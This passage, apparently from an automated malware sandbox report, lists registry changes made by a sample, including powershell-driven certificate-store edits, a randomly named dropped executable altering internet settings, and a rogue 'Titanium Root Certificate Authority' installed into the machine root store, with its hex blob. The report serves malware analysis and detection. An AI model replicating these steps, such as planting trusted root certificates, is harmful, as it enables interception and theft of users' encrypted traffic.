Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{8a2a71c9-0000-0000-0000-d01200000000} C:\Users\Admin\AppData\Local\Temp\7zS9621.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\olqSwFh.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{89FDB4D0-1F76-49D6-A941-6C3C08FC261F}\InprocHandler32 C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2603C88B-F971-4167-9DE1-871EE4A3DC84}\NumMethods\ = "4" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C06EE550-7248-488E-971E-B60C0AB3A6E4}\ProxyStubClsid32\ = "{2B1EC306-3EDE-4012-9BB0-FB836132FF52}" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{A6B716CB-028B-404D-B72C-50E153DD68DA}\PROGID C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{60355531-5BFD-45AB-942C-7912628752C7}\NumMethods C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{89FDB4D0-1F76-49D6-A941-6C3C08FC261F} C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{79E0C401-B7BC-4DE5-8104-71350F3A9B67}\ = "IGoogleUpdate" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DDD4B5D4-FD54-497C-8789-0830F29A60EE}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1B9063E4-3882-485E-8797-F28A0240782F}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C06EE550-7248-488E-971E-B60C0AB3A6E4} C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C06EE550-7248-488E-971E-B60C0AB3A6E4}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7B3B7A69-7D88-4847-A6BC-90E246A41F69}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2EC826CB-5478-4533-9015-7580B3B5E03A}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.PolicyStatusMachine.1.0\CLSID\ = "{B5977F34-9264-4AC3-9B31-1224827FF6E8}" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{79E0C401-B7BC-4DE5-8104-71350F3A9B67}\NumMethods C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7B3B7A69-7D88-4847-A6BC-90E246A41F69} C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.OnDemandCOMClassSvc.1.0\ = "Microsoft Edge Update Legacy On Demand" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7E29BE61-5809-443F-9B5D-CF22156694EB}\ = "IAppCommand2" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB} C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7B3B7A69-7D88-4847-A6BC-90E246A41F69} C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C20433B3-0D4B-49F6-9B6C-6EE0FAE07837} C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{D9AA3288-4EA7-4E67-AE60-D18EADCB923D}\ = "IJobObserver2" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{450CF5FF-95C4-4679-BECA-22680389ECB9}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{AB4EE1FC-0A81-4F56-B0E2-248FB78051AF} C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6DFFE7FE-3153-4AF1-95D8-F8FCCA97E56B} C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{450CF5FF-95C4-4679-BECA-22680389ECB9} C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{AB4EE1FC-0A81-4F56-B0E2-248FB78051AF}\ = "IPolicyStatus2" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{5F9C80B5-9E50-43C9-887C-7C6412E110DF}\NumMethods C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FCE48F77-C677-4012-8A1A-54D2E2BC07BD}\NumMethods C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7E29BE61-5809-443F-9B5D-CF22156694EB}\NumMethods\ = "12" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.CoreMachineClass\CurVer\ = "MicrosoftEdgeUpdate.CoreMachineClass.1" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FCE48F77-C677-4012-8A1A-54D2E2BC07BD}\NumMethods C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3A49F783-1C7D-4D35-8F63-5C1C206B9B6E} C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.OnDemandCOMClassSvc\CLSID\ = "{A6B716CB-028B-404D-B72C-50E153DD68DA}" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{D9AA3288-4EA7-4E67-AE60-D18EADCB923D}\NumMethods C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{177CAE89-4AD6-42F4-A458-00EC3389E3FE}\NumMethods\ = "24" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DDD4B5D4-FD54-497C-8789-0830F29A60EE}\ProxyStubClsid32\ = "{2B1EC306-3EDE-4012-9BB0-FB836132FF52}" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A5135E58-384F-4244-9A5F-30FA9259413C}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E4518371-7326-4865-87F8-D9D3F3B287A3}\ = "IBrowserHttpRequest2" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6DFFE7FE-3153-4AF1-95D8-F8FCCA97E56B}\NumMethods\ = "8" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{AB4F4A7E-977C-4E23-AD8F-626A491715DF}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.Update3WebSvc\ = "Microsoft Edge Update Update3Web" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9F3F5F5D-721A-4B19-9B5D-69F664C1A591}\AppID = "{A6B716CB-028B-404D-B72C-50E153DD68DA}" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E4518371-7326-4865-87F8-D9D3F3B287A3}\ = "IBrowserHttpRequest2" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{D9AA3288-4EA7-4E67-AE60-D18EADCB923D} C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C853632E-36CA-4999-B992-EC0D408CF5AB}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2603C88B-F971-4167-9DE1-871EE4A3DC84}\NumMethods C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A5135E58-384F-4244-9A5F-30FA9259413C}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2603C88B-F971-4167-9DE1-871EE4A3DC84}\ = "ICredentialDialog" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2B1EC306-3EDE-4012-9BB0-FB836132FF52} C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DDD4B5D4-FD54-497C-8789-0830F29A60EE}\NumMethods C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{D1E8B1A6-32CE-443C-8E2E-EBA90C481353}\VERSIONINDEPENDENTPROGID C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.PolicyStatusMachine.1.0\ = "Microsoft Edge Update Broker Class Factory" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\1.3.187.39\\psmachine_64.dll" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{AB4EE1FC-0A81-4F56-B0E2-248FB78051AF}\ProxyStubClsid32\ = "{2B1EC306-3EDE-4012-9BB0-FB836132FF52}" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{450CF5FF-95C4-4679-BECA-22680389ECB9}\ProxyStubClsid32 C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{492E1C30-A1A2-4695-87C8-7A8CAD6F936F}\PROGID C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7E29BE61-5809-443F-9B5D-CF22156694EB}\ = "IAppCommand2" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FCE48F77-C677-4012-8A1A-54D2E2BC07BD}\ProxyStubClsid32\ = "{2B1EC306-3EDE-4012-9BB0-FB836132FF52}" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FEA2518F-758F-4B95-A59F-97FCEEF1F5D0}\ = "IPolicyStatus" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1B9063E4-3882-485E-8797-F28A0240782F}\NumMethods\ = "4" C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.CoreMachineClass\CLSID\ = "{2E1DD7EF-C12D-4F8E-8AD8-CF8CC265BAD0}" C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0